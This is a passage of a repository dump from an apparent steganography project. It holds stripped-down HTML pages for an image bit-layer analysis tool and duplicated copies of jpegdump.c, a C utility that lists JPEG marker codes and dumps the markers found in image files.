141 | -------------------------------------------------------------------------------- /project-stegosploit/encoding/image_layer_analysis.html: -------------------------------------------------------------------------------- 1 | 2 | 26 | 27 | 28 | 29 | 267 | 268 | 269 | 270 |

Image Layer Analysis

271 |
272 |
273 |
274 | Input file: 275 | 276 |
277 |
278 |
279 | 280 | 281 | 282 | 285 | 286 |
283 | 284 |
287 |
288 | Bit Mask: 289 | 290 | 291 | 292 | 293 | 294 | Equalize: 295 |
296 |
297 | Resolution: 298 | 299 | R 300 | G 301 | B 302 | All 303 |
304 |
305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 |
LOG
314 |
315 |
316 | 317 | 318 | -------------------------------------------------------------------------------- /stego/templates/image_layer_analysis.html: -------------------------------------------------------------------------------- 1 | 2 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 38 | 39 | 267 | 268 | 269 | 270 |
271 |

Image Layer Analysis

272 |
273 |
274 | 275 |
276 |
277 | 278 | 279 | 280 | 283 | 284 |
281 | 282 |
285 |
286 | Bit Mask: 287 | 288 | 289 | 290 | 291 | 292 | Equalize: 293 |
294 |
295 | Resolution: 296 | 297 | R 298 | G 299 | B 300 | All 301 |
302 |
303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 |
LOG
312 |
313 |
314 |
315 | 316 | 317 | 318 | 319 | 320 | 321 | -------------------------------------------------------------------------------- /imajs/jpegdump.c: -------------------------------------------------------------------------------- 1 | /* 2 | avidump.c 3 | 4 | simple format info and dump utility for jpeg codestreams 5 | 6 | Copyright (C) 2006 Ralph Giles. All rights reserved. 7 | 8 | Distributed under the terms of the GNU GPL. 9 | See http://www.gnu.org/ for details. 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | /* JPEG marker codes 18 | - these are the second bytes; a marker consistes of 0xff 19 | followed by the type codes given below. */ 20 | typedef enum { 21 | 22 | /* 0xFF00, 0xFF01, 0xFFFE, 0xFFC0-0xFFDF(?) ITU T.81/IEC 10918-1 */ 23 | /* 0xFFF0 - 0xFFF6 ITU T.84/IEC 10918-3 JPEG extensions */ 24 | /* 0xFFF7 - 0xFFF8 ITU T.87/IEC 14495-1 JPEG LS */ 25 | /* 0xFF4F - 0xFF6f, 0xFF90 - 0xFF93 JPEG 2000 IEC 15444-1 */ 26 | /* 0xFF30 - 0xFF3F reserved JP2 (markers only--no marker segments */ 27 | 28 | /* JPEG 1994 - defined in ITU T.81 | ISO IEC 10918-1 */ 29 | SOF0 = 0xc0, /* start of frame - baseline jpeg */ 30 | SOF1 = 0xc1, /* extended sequential, huffman */ 31 | SOF2 = 0xc2, /* progressive, huffman */ 32 | SOF3 = 0xc3, /* lossless, huffman */ 33 | 34 | SOF5 = 0xc5, /* differential sequential, huffman */ 35 | SOF6 = 0xc6, /* differential progressive, huffman */ 36 | SOF7 = 0xc7, /* differential lossless, huffman */ 37 | JPG = 0xc8, /* reserved for JPEG extension */ 38 | SOF9 = 0xc9, /* extended sequential, arithmetic */ 39 | SOF10 = 0xca, /* progressive, arithmetic */ 40 | SOF11 = 0xcb, /* lossless, arithmetic */ 41 | 42 | SOF13 = 0xcd, /* differential sequential, arithmetic */ 43 | SOF14 = 0xce, /* differential progressive, arithmetic */ 44 | SOF15 = 0xcf, /* differential lossless, arithmetic */ 45 | 46 | DHT = 0xc4, /* define huffman tables */ 47 | 48 | DAC = 0xcc, /* define arithmetic-coding conditioning */ 49 | 50 | /* restart markers */ 51 | RST0 = 0xd0, 52 | RST1 = 0xd1, 53 | RST2 = 0xd2, 54 | RST3 = 0xd3, 55 | RST4 = 0xd4, 56 | RST5 = 0xd5, 57 | RST6 = 0xd6, 58 | RST7 = 0xd7, 59 | /* delimeters */ 60 | SOI = 0xd8, /* start of image */ 61 | EOI = 0xd9, /* end of image */ 62 | SOS = 0xda, /* start of scan */ 63 | DQT = 0xdb, /* define quantization tables */ 64 | DNL = 0xdc, /* define number of lines */ 65 | DRI = 0xdd, /* define restart interval */ 66 | DHP = 0xde, /* define hierarchical progression */ 67 | EXP = 0xdf, /* expand reference components */ 68 | 69 | /* JPEG 1997 extensions ITU T.84 | ISO IEC 10918-3 */ 70 | /* application data sections */ 71 | APP0 = 0xe0, 72 | APP1 = 0xe1, 73 | APP2 = 0xe2, 74 | APP3 = 0xe3, 75 | APP4 = 0xe4, 76 | APP5 = 0xe5, 77 | APP6 = 0xe6, 78 | APP7 = 0xe7, 79 | APP8 = 0xe8, 80 | APP9 = 0xe9, 81 | APP10 = 0xea, 82 | APP11 = 0xeb, 83 | APP12 = 0xec, 84 | APP13 = 0xed, 85 | APP14 = 0xee, 86 | APP15 = 0xef, 87 | /* extention data sections */ 88 | JPG0 = 0xf0, 89 | JPG1 = 0xf1, 90 | JPG2 = 0xf2, 91 | JPG3 = 0xf3, 92 | JPG4 = 0xf4, 93 | JPG5 = 0xf5, 94 | JPG6 = 0xf6, 95 | SOF48 = 0xf7, /* JPEG-LS */ 96 | LSE = 0xf8, /* JPEG-LS extension parameters */ 97 | JPG9 = 0xf9, 98 | JPG10 = 0xfa, 99 | JPG11 = 0xfb, 100 | JPG12 = 0xfc, 101 | JPG13 = 0xfd, 102 | JCOM = 0xfe, /* comment */ 103 | 104 | TEM = 0x01, /* temporary private use for arithmetic coding */ 105 | 106 | /* 0x02 -> 0xbf reserved in JPEG 94/97*/ 107 | 108 | /* JPEG 2000 - defined in IEC 15444-1 "JPEG 2000 Core (part 1)" */ 109 | /* delimiters */ 110 | SOC = 0x4f, /* start of codestream */ 111 | SOT = 0x90, /* start of tile */ 112 | SOD = 0x93, /* start of data */ 113 | EOC = 0xd9, /* end of codestream */ 114 | /* fixed information segment */ 115 | SIZ = 0x51, /* image and tile size */ 116 | /* functional segments */ 117 | COD = 0x52, /* coding style default */ 118 | COC = 0x53, /* coding style component */ 119 | RGN = 0x5e, /* region of interest */ 120 | QCD = 0x5c, /* quantization default */ 121 | QCC = 0x5d, /* quantization component */ 122 | POC = 0x5f, /* progression order change */ 123 | /* pointer segments */ 124 | TLM = 0x55, /* tile-part lengths */ 125 | PLM = 0x57, /* packet length (main header) */ 126 | PLT = 0x58, /* packet length (tile-part header) */ 127 | PPM = 0x60, /* packed packet headers (main header) */ 128 | PPT = 0x61, /* packet packet headers (tile-part header) */ 129 | /* bitstream internal markers and segments */ 130 | SOP = 0x91, /* start of packet */ 131 | EPH = 0x92, /* end of packet header */ 132 | /* informational segments */ 133 | CRG = 0x63, /* component registration */ 134 | COM = 0x64, /* comment */ 135 | 136 | } marker; 137 | 138 | typedef struct { 139 | char *mark; /* marker mnemonic string */ 140 | char *name; /* longer name */ 141 | char *spec; /* defining specification */ 142 | } marker_info; 143 | 144 | marker_info *markers; 145 | 146 | /* helper for structure initialization */ 147 | marker_info init_marker(char *mark, char *name, char *spec) 148 | { 149 | marker_info marker; 150 | 151 | marker.mark = mark; 152 | marker.name = name; 153 | marker.spec = spec; 154 | 155 | return marker; 156 | } 157 | 158 | marker_info *init_markers(void) 159 | { 160 | int i; 161 | marker_info *marker; 162 | char name[256]; 163 | int namelen; 164 | 165 | /* allocate marker info array */ 166 | marker = malloc(256 * sizeof(*marker)); 167 | if (marker == NULL) return marker; 168 | 169 | /* set default values for all marker code values */ 170 | namelen = strlen("reserved XX"); 171 | for (i = 0; i < 256; i++) { 172 | snprintf(name, 256, "reserved %02x", i); 173 | marker[i].mark = "---"; 174 | marker[i].name = malloc(namelen+1); 175 | if (marker[i].name) memcpy(marker[i].name, name, namelen+1); 176 | marker[i].spec = strdup("JPEG"); 177 | } 178 | 179 | /* set defined marks */ 180 | marker[0x00] = init_marker( "nul", "reserved 00", "JPEG" ); 181 | marker[0x01] = init_marker( "TEM", "reserved 01", "JPEG" ); 182 | 183 | /* JPEG 1994 - defined in ITU T.81 | ISO IEC 10918-1 */ 184 | /* frame types */ 185 | marker[0xc0] = init_marker( "SOF0", "start of frame (baseline jpeg)", "JPEG 1994" ); 186 | marker[0xc1] = init_marker( "SOF1", "start of frame (extended sequential, huffman)", "JPEG 1994" ); 187 | marker[0xc2] = init_marker( "SOF2", "start of frame (progressive, huffman)", "JPEG 1994" ); 188 | marker[0xc3] = init_marker( "SOF3", "start of frame (lossless, huffman)", "JPEG 1994" ); 189 | 190 | marker[0xc5] = init_marker( "SOF5", "start of frame (differential sequential, huffman)", "JPEG 1994" ); 191 | marker[0xc6] = init_marker( "SOF6", "start of frame (differential progressive, huffman)", "JPEG 1994" ); 192 | marker[0xc7] = init_marker( "SOF7", "start of frame (differential lossless, huffman)", "JPEG 1994" ); 193 | marker[0xc8] = init_marker( "JPG", "reserved for JPEG extension", "JPEG 1994" ); 194 | marker[0xc9] = init_marker( "SOF9", "start of frame (extended sequential, arithmetic)", "JPEG 1994" ); 195 | marker[0xca] = init_marker( "SOF10", "start of frame (progressive, arithmetic)", "JPEG 1994" ); 196 | marker[0xcb] = init_marker( "SOF11", "start of frame (lossless, arithmetic)", "JPEG 1994" ); 197 | 198 | marker[0xcd] = init_marker( "SOF13", "start of frame (differential sequential, arithmetic)", "JPEG 1994" ); 199 | marker[0xce] = init_marker( "SOF14", "start of frame (differential progressive, arithmetic)", "JPEG 1994" ); 200 | marker[0xcf] = init_marker( "SOF15", "start of frame (differential lossless, arithmetic)", "JPEG 1994" ); 201 | 202 | marker[0xc4] = init_marker( "DHT", "define huffman tables", "JPEG 1994" ); 203 | marker[0xcc] = init_marker( "DAC", "define arithmetic coding conditioning", "JPEG 1994" ); 204 | 205 | /* restart markers */ 206 | marker[0xd0] = init_marker( "RST0", "restart marker 0", "JPEG 1994" ); 207 | marker[0xd1] = init_marker( "RST1", "restart marker 1", "JPEG 1994" ); 208 | marker[0xd2] = init_marker( "RST2", "restart marker 2", "JPEG 1994" ); 209 | marker[0xd3] = init_marker( "RST3", "restart marker 3", "JPEG 1994" ); 210 | marker[0xd4] = init_marker( "RST4", "restart marker 4", "JPEG 1994" ); 211 | marker[0xd5] = init_marker( "RST5", "restart marker 5", "JPEG 1994" ); 212 | marker[0xd6] = init_marker( "RST6", "restart marker 6", "JPEG 1994" ); 213 | marker[0xd7] = init_marker( "RST7", "restart marker 7", "JPEG 1994" ); 214 | /* delimeters */ 215 | marker[0xd8] = init_marker( "SOI", "start of image", "JPEG 1994" ); 216 | marker[0xd9] = init_marker( "EOI", "end of image", "JPEG 1994" ); 217 | marker[0xda] = init_marker( "SOS", "start of scan", "JPEG 1994" ); 218 | marker[0xdb] = init_marker( "DQT", "define quantization tables", "JPEG 1994" ); 219 | marker[0xdc] = init_marker( "DNL", "define number of lines", "JPEG 1994" ); 220 | marker[0xdd] = init_marker( "DRI", "define restart interval", "JPEG 1994" ); 221 | marker[0xde] = init_marker( "DHP", "define hierarchical progression", "JPEG 1994" ); 222 | marker[0xdf] = init_marker( "EXP", "expand reference components", "JPEG 1994" ); 223 | 224 | /* JPEG 1997 extensions ITU T.84 | ISO IEC 10918-3 */ 225 | /* application data sections */ 226 | marker[0xe0] = init_marker( "APP0", "application data section 0", "JPEG 1997" ); 227 | marker[0xe1] = init_marker( "APP1", "application data section 1", "JPEG 1997" ); 228 | marker[0xe2] = init_marker( "APP2", "application data section 2", "JPEG 1997" ); 229 | marker[0xe3] = init_marker( "APP3", "application data section 3", "JPEG 1997" ); 230 | marker[0xe4] = init_marker( "APP4", "application data section 4", "JPEG 1997" ); 231 | marker[0xe5] = init_marker( "APP5", "application data section 5", "JPEG 1997" ); 232 | marker[0xe6] = init_marker( "APP6", "application data section 6", "JPEG 1997" ); 233 | marker[0xe7] = init_marker( "APP7", "application data section 7", "JPEG 1997" ); 234 | marker[0xe8] = init_marker( "APP8", "application data section 8", "JPEG 1997" ); 235 | marker[0xe9] = init_marker( "APP9", "application data section 9", "JPEG 1997" ); 236 | marker[0xea] = init_marker( "APP10", "application data section 10", "JPEG 1997" ); 237 | marker[0xeb] = init_marker( "APP11", "application data section 11", "JPEG 1997" ); 238 | marker[0xec] = init_marker( "APP12", "application data section 12", "JPEG 1997" ); 239 | marker[0xed] = init_marker( "APP13", "application data section 13", "JPEG 1997" ); 240 | marker[0xee] = init_marker( "APP14", "application data section 14", "JPEG 1997" ); 241 | marker[0xef] = init_marker( "APP15", "application data section 15", "JPEG 1997" ); 242 | /* extention data sections */ 243 | marker[0xf0] = init_marker( "JPG0", "extension data 00", "JPEG 1997" ); 244 | marker[0xf1] = init_marker( "JPG1", "extension data 01", "JPEG 1997" ); 245 | marker[0xf2] = init_marker( "JPG2", "extension data 02", "JPEG 1997" ); 246 | marker[0xf3] = init_marker( "JPG3", "extension data 03", "JPEG 1997" ); 247 | marker[0xf4] = init_marker( "JPG4", "extension data 04", "JPEG 1997" ); 248 | marker[0xf5] = init_marker( "JPG5", "extension data 05", "JPEG 1997" ); 249 | marker[0xf6] = init_marker( "JPG6", "extension data 06", "JPEG 1997" ); 250 | marker[0xf7] = init_marker( "SOF48", "start of frame (JPEG-LS)", "JPEG-LS" ); 251 | marker[0xf8] = init_marker( "LSE", "extension parameters (JPEG-LS)", "JPEG-LS" ); 252 | marker[0xf9] = init_marker( "JPG9", "extension data 09", "JPEG 1997" ); 253 | marker[0xfa] = init_marker( "JPG10", "extension data 10", "JPEG 1997" ); 254 | marker[0xfb] = init_marker( "JPG11", "extension data 11", "JPEG 1997" ); 255 | marker[0xfc] = init_marker( "JPG12", "extension data 12", "JPEG 1997" ); 256 | marker[0xfd] = init_marker( "JPG13", "extension data 13", "JPEG 1997" ); 257 | marker[0xfe] = init_marker( "JCOM", "extension data (comment)", "JPEG 1997" ); 258 | 259 | /* JPEG 2000 - defined in IEC 15444-1 "JPEG 2000 Core (part 1)" */ 260 | /* delimiters */ 261 | marker[0x4f] = init_marker( "SOC", "start of codestream", "JPEG 2000" ); 262 | marker[0x90] = init_marker( "SOT", "start of tile", "JPEG 2000" ); 263 | marker[0xd9] = init_marker( "EOC", "end of codestream", "JPEG 2000" ); 264 | /* fixed information segment */ 265 | marker[0x51] = init_marker( "SIZ", "image and tile size", "JPEG 2000" ); 266 | /* functional segments */ 267 | marker[0x52] = init_marker( "COD", "coding style default", "JPEG 2000" ); 268 | marker[0x53] = init_marker( "COC", "coding style component", "JPEG 2000" ); 269 | marker[0x5e] = init_marker( "RGN", "region of interest", "JPEG 2000" ); 270 | marker[0x5c] = init_marker( "QCD", "quantization default", "JPEG 2000" ); 271 | marker[0x5d] = init_marker( "QCC", "quantization component", "JPEG 2000" ); 272 | marker[0x5f] = init_marker( "POC", "progression order change", "JPEG 2000" ); 273 | /* pointer segments */ 274 | marker[0x55] = init_marker( "TLM", "tile-part lengths", "JPEG 2000" ); 275 | marker[0x57] = init_marker( "PLM", "packet length (main header)", "JPEG 2000" ); 276 | marker[0x58] = init_marker( "PLT", "packet length (tile-part header)", "JPEG 2000" ); 277 | marker[0x60] = init_marker( "PPM", "packed packet headers (main header)", "JPEG 2000" ); 278 | marker[0x61] = init_marker( "PPT", "packed packet headers (tile-part header)", "JPEG 2000" ); 279 | /* bitstream internal markers and segments */ 280 | marker[0x91] = init_marker( "SOP", "start of packet", "JPEG 2000" ); 281 | marker[0x92] = init_marker( "EPH", "end of packet header", "JPEG 2000" ); 282 | /* informational segments */ 283 | marker[0x63] = init_marker( "CRG", "component registration", "JPEG 2000" ); 284 | marker[0x64] = init_marker( "COM", "comment", "JPEG 2000" ); 285 | 286 | return marker; 287 | } 288 | 289 | /* read a 16 bit little-endian integer */ 290 | void read16(FILE *in, uint16_t *p) 291 | { 292 | unsigned char q[2]; 293 | fread(q, 1, 2, in); 294 | *p = q[0] | q[1] << 8; 295 | return; 296 | } 297 | 298 | /* read a 32 bit little-endian integer */ 299 | void read32(FILE *in, uint32_t *p) 300 | { 301 | unsigned char q[4]; 302 | fread(q, 1, 4, in); 303 | *p = q[0] | q[1] << 8 | q[2] << 16 | q[3] << 24; 304 | return; 305 | } 306 | 307 | /* write a 16 bit little-endian integer */ 308 | void write16(FILE *out, uint16_t p) 309 | { 310 | unsigned char q[2]; 311 | q[0] = p & 0xFF; 312 | q[1] = (p >> 8) & 0xFF; 313 | fwrite(q, 1, 2, out); 314 | return; 315 | } 316 | 317 | /* write an 8 bit integer */ 318 | void write8(FILE *out, unsigned char p) 319 | { 320 | fwrite(&p, 1, 1, out); 321 | return; 322 | } 323 | 324 | /* write a 32 bit little-endian integer */ 325 | void write32(FILE *out, uint32_t p) 326 | { 327 | unsigned char q[4]; 328 | q[0] = p & 0xFF; 329 | q[1] = (p >> 8) & 0xFF; 330 | q[2] = (p >> 16) & 0xFF; 331 | q[3] = (p >> 24) & 0xFF; 332 | fwrite(q, 1, 4, out); 333 | return; 334 | } 335 | 336 | /* write a 32 bit big-endian integer */ 337 | void write_be32(FILE *out, uint32_t p) 338 | { 339 | unsigned char q[4]; 340 | q[0] = (p >> 24) & 0xFF; 341 | q[1] = (p >> 16) & 0xFF; 342 | q[2] = (p >> 8) & 0xFF; 343 | q[3] = p & 0xFF; 344 | fwrite(q, 1, 4, out); 345 | return; 346 | } 347 | 348 | /* insert a 32 bit big-endian integer into a buffer */ 349 | void put_be32(unsigned char *p, uint32_t q) 350 | { 351 | p[0] = (q >> 24) & 0xFF; 352 | p[1] = (q >> 16) & 0xFF; 353 | p[2] = (q >> 8) & 0xFF; 354 | p[3] = q & 0xFF; 355 | return; 356 | } 357 | 358 | /* dump an abstract of a jpeg stream */ 359 | int dump_stream(FILE *out, FILE *in) 360 | { 361 | int c; 362 | long offset = 0; 363 | while (!feof(in)) { 364 | c = fgetc(in); 365 | if (c == 0xFF) { 366 | int code = fgetc(in); 367 | if (code > 0) { 368 | fprintf(out, "marker 0xff%02x %s at offset %ld", code, markers[code].mark, offset); 369 | fprintf(out, "\t(%s)\n", markers[code].name); 370 | } 371 | offset++; 372 | } 373 | offset++; 374 | } 375 | 376 | return 0; 377 | } 378 | 379 | void usage(const char *name, FILE *out) 380 | { 381 | fprintf(out, "usage: %s [ ...]\n", name); 382 | fprintf(out, " dumps the structure of a JPEG codestream for inspection.\n"); 383 | return; 384 | } 385 | 386 | int main(int argc, char *argv[]) 387 | { 388 | int i; 389 | FILE *in; 390 | 391 | if (argc < 2) usage(argv[0], stderr); 392 | 393 | markers = init_markers(); 394 | 395 | /* treat the filename "-" as stdin */ 396 | if (argv[1][0] == '-' && argv[1][1] == 0) 397 | in = stdin; 398 | 399 | for (i = 1; i < argc; i++) { 400 | const char *fn = argv[i]; 401 | if (fn[0] == '-' && fn[1] == 0) 402 | in = stdin; 403 | else 404 | in = fopen(fn, "rb"); 405 | if (in != NULL) { 406 | /* do something */ 407 | dump_stream(stdout, in); 408 | if (in != stdin) 409 | fclose(in); 410 | } else { 411 | fprintf(stderr, "could not open '%s'\n", argv[i]); 412 | return 1; 413 | } 414 | } 415 | 416 | return 0; 417 | } 418 | -------------------------------------------------------------------------------- /test_dump/jpegdump.c: -------------------------------------------------------------------------------- 1 | /* 2 | avidump.c 3 | 4 | simple format info and dump utility for jpeg codestreams 5 | 6 | Copyright (C) 2006 Ralph Giles. All rights reserved. 7 | 8 | Distributed under the terms of the GNU GPL. 9 | See http://www.gnu.org/ for details. 10 | */ 11 | 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | /* JPEG marker codes 18 | - these are the second bytes; a marker consistes of 0xff 19 | followed by the type codes given below. */ 20 | typedef enum { 21 | 22 | /* 0xFF00, 0xFF01, 0xFFFE, 0xFFC0-0xFFDF(?) ITU T.81/IEC 10918-1 */ 23 | /* 0xFFF0 - 0xFFF6 ITU T.84/IEC 10918-3 JPEG extensions */ 24 | /* 0xFFF7 - 0xFFF8 ITU T.87/IEC 14495-1 JPEG LS */ 25 | /* 0xFF4F - 0xFF6f, 0xFF90 - 0xFF93 JPEG 2000 IEC 15444-1 */ 26 | /* 0xFF30 - 0xFF3F reserved JP2 (markers only--no marker segments */ 27 | 28 | /* JPEG 1994 - defined in ITU T.81 | ISO IEC 10918-1 */ 29 | SOF0 = 0xc0, /* start of frame - baseline jpeg */ 30 | SOF1 = 0xc1, /* extended sequential, huffman */ 31 | SOF2 = 0xc2, /* progressive, huffman */ 32 | SOF3 = 0xc3, /* lossless, huffman */ 33 | 34 | SOF5 = 0xc5, /* differential sequential, huffman */ 35 | SOF6 = 0xc6, /* differential progressive, huffman */ 36 | SOF7 = 0xc7, /* differential lossless, huffman */ 37 | JPG = 0xc8, /* reserved for JPEG extension */ 38 | SOF9 = 0xc9, /* extended sequential, arithmetic */ 39 | SOF10 = 0xca, /* progressive, arithmetic */ 40 | SOF11 = 0xcb, /* lossless, arithmetic */ 41 | 42 | SOF13 = 0xcd, /* differential sequential, arithmetic */ 43 | SOF14 = 0xce, /* differential progressive, arithmetic */ 44 | SOF15 = 0xcf, /* differential lossless, arithmetic */ 45 | 46 | DHT = 0xc4, /* define huffman tables */ 47 | 48 | DAC = 0xcc, /* define arithmetic-coding conditioning */ 49 | 50 | /* restart markers */ 51 | RST0 = 0xd0, 52 | RST1 = 0xd1, 53 | RST2 = 0xd2, 54 | RST3 = 0xd3, 55 | RST4 = 0xd4, 56 | RST5 = 0xd5, 57 | RST6 = 0xd6, 58 | RST7 = 0xd7, 59 | /* delimeters */ 60 | SOI = 0xd8, /* start of image */ 61 | EOI = 0xd9, /* end of image */ 62 | SOS = 0xda, /* start of scan */ 63 | DQT = 0xdb, /* define quantization tables */ 64 | DNL = 0xdc, /* define number of lines */ 65 | DRI = 0xdd, /* define restart interval */ 66 | DHP = 0xde, /* define hierarchical progression */ 67 | EXP = 0xdf, /* expand reference components */ 68 | 69 | /* JPEG 1997 extensions ITU T.84 | ISO IEC 10918-3 */ 70 | /* application data sections */ 71 | APP0 = 0xe0, 72 | APP1 = 0xe1, 73 | APP2 = 0xe2, 74 | APP3 = 0xe3, 75 | APP4 = 0xe4, 76 | APP5 = 0xe5, 77 | APP6 = 0xe6, 78 | APP7 = 0xe7, 79 | APP8 = 0xe8, 80 | APP9 = 0xe9, 81 | APP10 = 0xea, 82 | APP11 = 0xeb, 83 | APP12 = 0xec, 84 | APP13 = 0xed, 85 | APP14 = 0xee, 86 | APP15 = 0xef, 87 | /* extention data sections */ 88 | JPG0 = 0xf0, 89 | JPG1 = 0xf1, 90 | JPG2 = 0xf2, 91 | JPG3 = 0xf3, 92 | JPG4 = 0xf4, 93 | JPG5 = 0xf5, 94 | JPG6 = 0xf6, 95 | SOF48 = 0xf7, /* JPEG-LS */ 96 | LSE = 0xf8, /* JPEG-LS extension parameters */ 97 | JPG9 = 0xf9, 98 | JPG10 = 0xfa, 99 | JPG11 = 0xfb, 100 | JPG12 = 0xfc, 101 | JPG13 = 0xfd, 102 | JCOM = 0xfe, /* comment */ 103 | 104 | TEM = 0x01, /* temporary private use for arithmetic coding */ 105 | 106 | /* 0x02 -> 0xbf reserved in JPEG 94/97*/ 107 | 108 | /* JPEG 2000 - defined in IEC 15444-1 "JPEG 2000 Core (part 1)" */ 109 | /* delimiters */ 110 | SOC = 0x4f, /* start of codestream */ 111 | SOT = 0x90, /* start of tile */ 112 | SOD = 0x93, /* start of data */ 113 | EOC = 0xd9, /* end of codestream */ 114 | /* fixed information segment */ 115 | SIZ = 0x51, /* image and tile size */ 116 | /* functional segments */ 117 | COD = 0x52, /* coding style default */ 118 | COC = 0x53, /* coding style component */ 119 | RGN = 0x5e, /* region of interest */ 120 | QCD = 0x5c, /* quantization default */ 121 | QCC = 0x5d, /* quantization component */ 122 | POC = 0x5f, /* progression order change */ 123 | /* pointer segments */ 124 | TLM = 0x55, /* tile-part lengths */ 125 | PLM = 0x57, /* packet length (main header) */ 126 | PLT = 0x58, /* packet length (tile-part header) */ 127 | PPM = 0x60, /* packed packet headers (main header) */ 128 | PPT = 0x61, /* packet packet headers (tile-part header) */ 129 | /* bitstream internal markers and segments */ 130 | SOP = 0x91, /* start of packet */ 131 | EPH = 0x92, /* end of packet header */ 132 | /* informational segments */ 133 | CRG = 0x63, /* component registration */ 134 | COM = 0x64, /* comment */ 135 | 136 | } marker; 137 | 138 | typedef struct { 139 | char *mark; /* marker mnemonic string */ 140 | char *name; /* longer name */ 141 | char *spec; /* defining specification */ 142 | } marker_info; 143 | 144 | marker_info *markers; 145 | 146 | /* helper for structure initialization */ 147 | marker_info init_marker(char *mark, char *name, char *spec) 148 | { 149 | marker_info marker; 150 | 151 | marker.mark = mark; 152 | marker.name = name; 153 | marker.spec = spec; 154 | 155 | return marker; 156 | } 157 | 158 | marker_info *init_markers(void) 159 | { 160 | int i; 161 | marker_info *marker; 162 | char name[256]; 163 | int namelen; 164 | 165 | /* allocate marker info array */ 166 | marker = malloc(256 * sizeof(*marker)); 167 | if (marker == NULL) return marker; 168 | 169 | /* set default values for all marker code values */ 170 | namelen = strlen("reserved XX"); 171 | for (i = 0; i < 256; i++) { 172 | snprintf(name, 256, "reserved %02x", i); 173 | marker[i].mark = "---"; 174 | marker[i].name = malloc(namelen+1); 175 | if (marker[i].name) memcpy(marker[i].name, name, namelen+1); 176 | marker[i].spec = strdup("JPEG"); 177 | } 178 | 179 | /* set defined marks */ 180 | marker[0x00] = init_marker( "nul", "reserved 00", "JPEG" ); 181 | marker[0x01] = init_marker( "TEM", "reserved 01", "JPEG" ); 182 | 183 | /* JPEG 1994 - defined in ITU T.81 | ISO IEC 10918-1 */ 184 | /* frame types */ 185 | marker[0xc0] = init_marker( "SOF0", "start of frame (baseline jpeg)", "JPEG 1994" ); 186 | marker[0xc1] = init_marker( "SOF1", "start of frame (extended sequential, huffman)", "JPEG 1994" ); 187 | marker[0xc2] = init_marker( "SOF2", "start of frame (progressive, huffman)", "JPEG 1994" ); 188 | marker[0xc3] = init_marker( "SOF3", "start of frame (lossless, huffman)", "JPEG 1994" ); 189 | 190 | marker[0xc5] = init_marker( "SOF5", "start of frame (differential sequential, huffman)", "JPEG 1994" ); 191 | marker[0xc6] = init_marker( "SOF6", "start of frame (differential progressive, huffman)", "JPEG 1994" ); 192 | marker[0xc7] = init_marker( "SOF7", "start of frame (differential lossless, huffman)", "JPEG 1994" ); 193 | marker[0xc8] = init_marker( "JPG", "reserved for JPEG extension", "JPEG 1994" ); 194 | marker[0xc9] = init_marker( "SOF9", "start of frame (extended sequential, arithmetic)", "JPEG 1994" ); 195 | marker[0xca] = init_marker( "SOF10", "start of frame (progressive, arithmetic)", "JPEG 1994" ); 196 | marker[0xcb] = init_marker( "SOF11", "start of frame (lossless, arithmetic)", "JPEG 1994" ); 197 | 198 | marker[0xcd] = init_marker( "SOF13", "start of frame (differential sequential, arithmetic)", "JPEG 1994" ); 199 | marker[0xce] = init_marker( "SOF14", "start of frame (differential progressive, arithmetic)", "JPEG 1994" ); 200 | marker[0xcf] = init_marker( "SOF15", "start of frame (differential lossless, arithmetic)", "JPEG 1994" ); 201 | 202 | marker[0xc4] = init_marker( "DHT", "define huffman tables", "JPEG 1994" ); 203 | marker[0xcc] = init_marker( "DAC", "define arithmetic coding conditioning", "JPEG 1994" ); 204 | 205 | /* restart markers */ 206 | marker[0xd0] = init_marker( "RST0", "restart marker 0", "JPEG 1994" ); 207 | marker[0xd1] = init_marker( "RST1", "restart marker 1", "JPEG 1994" ); 208 | marker[0xd2] = init_marker( "RST2", "restart marker 2", "JPEG 1994" ); 209 | marker[0xd3] = init_marker( "RST3", "restart marker 3", "JPEG 1994" ); 210 | marker[0xd4] = init_marker( "RST4", "restart marker 4", "JPEG 1994" ); 211 | marker[0xd5] = init_marker( "RST5", "restart marker 5", "JPEG 1994" ); 212 | marker[0xd6] = init_marker( "RST6", "restart marker 6", "JPEG 1994" ); 213 | marker[0xd7] = init_marker( "RST7", "restart marker 7", "JPEG 1994" ); 214 | /* delimeters */ 215 | marker[0xd8] = init_marker( "SOI", "start of image", "JPEG 1994" ); 216 | marker[0xd9] = init_marker( "EOI", "end of image", "JPEG 1994" ); 217 | marker[0xda] = init_marker( "SOS", "start of scan", "JPEG 1994" ); 218 | marker[0xdb] = init_marker( "DQT", "define quantization tables", "JPEG 1994" ); 219 | marker[0xdc] = init_marker( "DNL", "define number of lines", "JPEG 1994" ); 220 | marker[0xdd] = init_marker( "DRI", "define restart interval", "JPEG 1994" ); 221 | marker[0xde] = init_marker( "DHP", "define hierarchical progression", "JPEG 1994" ); 222 | marker[0xdf] = init_marker( "EXP", "expand reference components", "JPEG 1994" ); 223 | 224 | /* JPEG 1997 extensions ITU T.84 | ISO IEC 10918-3 */ 225 | /* application data sections */ 226 | marker[0xe0] = init_marker( "APP0", "application data section 0", "JPEG 1997" ); 227 | marker[0xe1] = init_marker( "APP1", "application data section 1", "JPEG 1997" ); 228 | marker[0xe2] = init_marker( "APP2", "application data section 2", "JPEG 1997" ); 229 | marker[0xe3] = init_marker( "APP3", "application data section 3", "JPEG 1997" ); 230 | marker[0xe4] = init_marker( "APP4", "application data section 4", "JPEG 1997" ); 231 | marker[0xe5] = init_marker( "APP5", "application data section 5", "JPEG 1997" ); 232 | marker[0xe6] = init_marker( "APP6", "application data section 6", "JPEG 1997" ); 233 | marker[0xe7] = init_marker( "APP7", "application data section 7", "JPEG 1997" ); 234 | marker[0xe8] = init_marker( "APP8", "application data section 8", "JPEG 1997" ); 235 | marker[0xe9] = init_marker( "APP9", "application data section 9", "JPEG 1997" ); 236 | marker[0xea] = init_marker( "APP10", "application data section 10", "JPEG 1997" ); 237 | marker[0xeb] = init_marker( "APP11", "application data section 11", "JPEG 1997" ); 238 | marker[0xec] = init_marker( "APP12", "application data section 12", "JPEG 1997" ); 239 | marker[0xed] = init_marker( "APP13", "application data section 13", "JPEG 1997" ); 240 | marker[0xee] = init_marker( "APP14", "application data section 14", "JPEG 1997" ); 241 | marker[0xef] = init_marker( "APP15", "application data section 15", "JPEG 1997" ); 242 | /* extention data sections */ 243 | 